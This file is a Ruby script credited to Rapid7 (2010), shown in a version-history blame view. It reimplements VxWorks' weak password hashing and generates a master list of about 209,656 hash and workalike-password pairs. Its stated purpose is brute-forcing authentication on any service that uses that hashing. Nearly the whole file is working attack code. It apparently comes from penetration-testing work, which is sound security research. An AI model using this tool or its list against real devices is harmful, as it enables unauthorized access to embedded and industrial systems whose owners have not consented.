2010-09-02 14:55:34 +00:00
|
|
|
#!/usr/bin/env ruby
|
|
|
|
|
|
|
|
#
|
|
|
|
# This script calculates all possible password hashes for the vxworks platform.
|
|
|
|
# The generated list can be used to bruteforce authentication to any service
|
|
|
|
# using the vulnerable password hashing mechanism on the backend.
|
|
|
|
#
|
|
|
|
# (C) 2010 Rapid7
|
|
|
|
#
|
|
|
|
|
2018-04-02 04:26:42 +00:00
|
|
|
#
|
2010-09-02 14:55:34 +00:00
|
|
|
# VxWorks converts the clear-text password into single integer value. This value
|
|
|
|
# can only be one of about 210,000 possible options. The method below emulates
|
|
|
|
# what the vxencrypt utility does and was implemented based on publicly indexed
|
|
|
|
# documentation and source code snippets.
|
2018-04-02 04:26:42 +00:00
|
|
|
#
|
2010-09-02 14:55:34 +00:00
|
|
|
|
2018-04-02 04:26:42 +00:00
|
|
|
#
|
2010-09-02 14:55:34 +00:00
|
|
|
# XXX: Newer VxWorks can use passwords up to 120 characters long, but this is
|
|
|
|
# not very common in the wild.
|
2018-04-02 04:26:42 +00:00
|
|
|
#
|
2010-09-02 14:55:34 +00:00
|
|
|
|
|
|
|
def vxworks_sum_from_pass(pass)
|
2013-09-30 18:47:53 +00:00
|
|
|
if pass.length < 8 or pass.length > 40
|
|
|
|
raise RuntimeError, "too short or too long"
|
|
|
|
end
|
|
|
|
|
|
|
|
sum = 0
|
|
|
|
bytes = pass.unpack("C*")
|
|
|
|
bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }
|
|
|
|
sum
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# VxWorks does a final round of "mangling" on the generated additive sum. This
|
|
|
|
# mangle process does not add any additional security to the hashing mechanism
|
|
|
|
def vxworks_hash_from_sum(sum)
|
2013-09-30 18:47:53 +00:00
|
|
|
magic = 31695317
|
|
|
|
res = ((sum * magic) & 0xffffffff).to_s
|
|
|
|
res.unpack("C*").map{ |c|
|
|
|
|
c += 0x21 if c < 0x33
|
|
|
|
c += 0x2f if c < 0x37
|
|
|
|
c += 0x42 if c < 0x39
|
|
|
|
c
|
|
|
|
}.pack("C*")
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# This method tries to find an exact match for a given sum. This is inefficient,
|
|
|
|
# but the master password only needs to be precomputed once.
|
|
|
|
def vxworks_pass_from_sum_refine(sum, bsum, pass)
|
2013-09-30 18:47:53 +00:00
|
|
|
0.upto(pass.length-1) do |i|
|
|
|
|
tpass = pass.dup
|
|
|
|
while ( tpass[i, 1].unpack("C*")[0] > 0x21 )
|
|
|
|
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")
|
|
|
|
bsum = vxworks_sum_from_pass(tpass)
|
|
|
|
if bsum == sum
|
|
|
|
return tpass
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
0.upto(pass.length-1) do |i|
|
|
|
|
tpass = pass.dup
|
|
|
|
while ( tpass[i, 1].unpack("C*")[0] < 0x7c )
|
|
|
|
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")
|
|
|
|
bsum = vxworks_sum_from_pass(tpass)
|
|
|
|
if bsum == sum
|
|
|
|
return tpass
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
"<failed>"
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# This method locates a "workalike" password that matches a given
|
|
|
|
# intermediate additive sum value.
|
|
|
|
def vxworks_pass_from_sum(sum, lpass=nil)
|
2013-09-30 18:47:53 +00:00
|
|
|
opass = lpass || "\x20" * 8
|
|
|
|
pass = opass.dup
|
|
|
|
fmax = (sum > 10000) ? 0xff : 0x7b
|
|
|
|
pidx = 0
|
|
|
|
pcnt = pass[0,1].unpack("C*")[0]
|
|
|
|
more = false
|
|
|
|
|
|
|
|
bsum = vxworks_sum_from_pass(pass)
|
|
|
|
if bsum > sum
|
|
|
|
return "<invalid>"
|
|
|
|
end
|
|
|
|
|
|
|
|
while bsum != sum
|
|
|
|
|
|
|
|
if bsum > sum
|
|
|
|
return vxworks_pass_from_sum_refine(sum, bsum, pass)
|
|
|
|
end
|
|
|
|
|
|
|
|
if pcnt > fmax
|
|
|
|
pidx += 1
|
|
|
|
|
|
|
|
if pidx == (pass.length)
|
|
|
|
pass += " "
|
|
|
|
end
|
|
|
|
pcnt = pass[pidx, 1].unpack("C")[0]
|
|
|
|
end
|
|
|
|
|
|
|
|
pass[pidx,1] = [ pcnt ].pack("C")
|
|
|
|
bsum = vxworks_sum_from_pass(pass)
|
|
|
|
pcnt += 1
|
|
|
|
end
|
|
|
|
pass
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
outputfile = ARGV.shift() || "masterpasswords.txt"
|
|
|
|
|
|
|
|
# Create the master password list output file
|
|
|
|
ofd = File.open(outputfile, "wb")
|
|
|
|
|
|
|
|
# Generate a wide range of "seeds" - the goal is to create a
|
|
|
|
# workalike password with the smallest number of characters,
|
|
|
|
# but still be printable when possible.
|
|
|
|
|
|
|
|
seedsets = []
|
|
|
|
|
|
|
|
seeds = []
|
|
|
|
8.upto(8) do |slen|
|
2013-09-30 18:47:53 +00:00
|
|
|
0x23.upto(0x7c) do |cset|
|
|
|
|
sbase = [cset].pack("C") * slen
|
|
|
|
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
seedsets << seeds
|
|
|
|
|
|
|
|
seeds = []
|
|
|
|
8.upto(12) do |slen|
|
2013-09-30 18:47:53 +00:00
|
|
|
0x23.upto(0x7c) do |cset|
|
|
|
|
sbase = [cset].pack("C") * slen
|
|
|
|
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
seedsets << seeds
|
|
|
|
|
|
|
|
seeds = []
|
|
|
|
8.upto(16) do |slen|
|
2013-09-30 18:47:53 +00:00
|
|
|
0x23.upto(0xf0) do |cset|
|
|
|
|
sbase = [cset].pack("C") * slen
|
|
|
|
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
seedsets << seeds
|
|
|
|
|
|
|
|
seeds = []
|
|
|
|
8.upto(16) do |slen|
|
2013-09-30 18:47:53 +00:00
|
|
|
0x23.upto(0xff) do |cset|
|
|
|
|
sbase = [cset].pack("C") * slen
|
|
|
|
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
seedsets << seeds
|
|
|
|
|
|
|
|
seeds = []
|
|
|
|
8.upto(40) do |slen|
|
2013-09-30 18:47:53 +00:00
|
|
|
0x23.upto(0xff) do |cset|
|
|
|
|
sbase = [cset].pack("C") * slen
|
|
|
|
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|
|
|
|
seedsets << seeds
|
|
|
|
|
|
|
|
# Calculate passwords and their hashes for all possible outputs
|
|
|
|
1.upto(209656) do |i|
|
2013-09-30 18:47:53 +00:00
|
|
|
found = false
|
|
|
|
seedsets.each do |seeds|
|
|
|
|
lhash = nil
|
|
|
|
seeds.reverse.each do |s|
|
|
|
|
if i > (s[0] + 1000)
|
|
|
|
lhash = s[1]
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
hash = vxworks_hash_from_sum(i)
|
|
|
|
pass = vxworks_pass_from_sum(i, lhash)
|
|
|
|
|
|
|
|
puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)
|
|
|
|
# The first 1187 passwords are not very likely to occur and we skip
|
|
|
|
# generation. These are "sums" that result in a value lesss than a
|
|
|
|
# 8 digit password of all spaces.
|
|
|
|
|
|
|
|
if i > 1187 and pass =~ /<.*>/
|
|
|
|
# p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"
|
|
|
|
next
|
|
|
|
end
|
|
|
|
ofd.puts "#{i}|#{hash}|#{pass}\x00"
|
|
|
|
found = true
|
|
|
|
break
|
|
|
|
end
|
|
|
|
|
|
|
|
if not found
|
|
|
|
puts "FAILED TO GENERATE #{i}"
|
|
|
|
exit(0)
|
|
|
|
end
|
2010-09-02 14:55:34 +00:00
|
|
|
end
|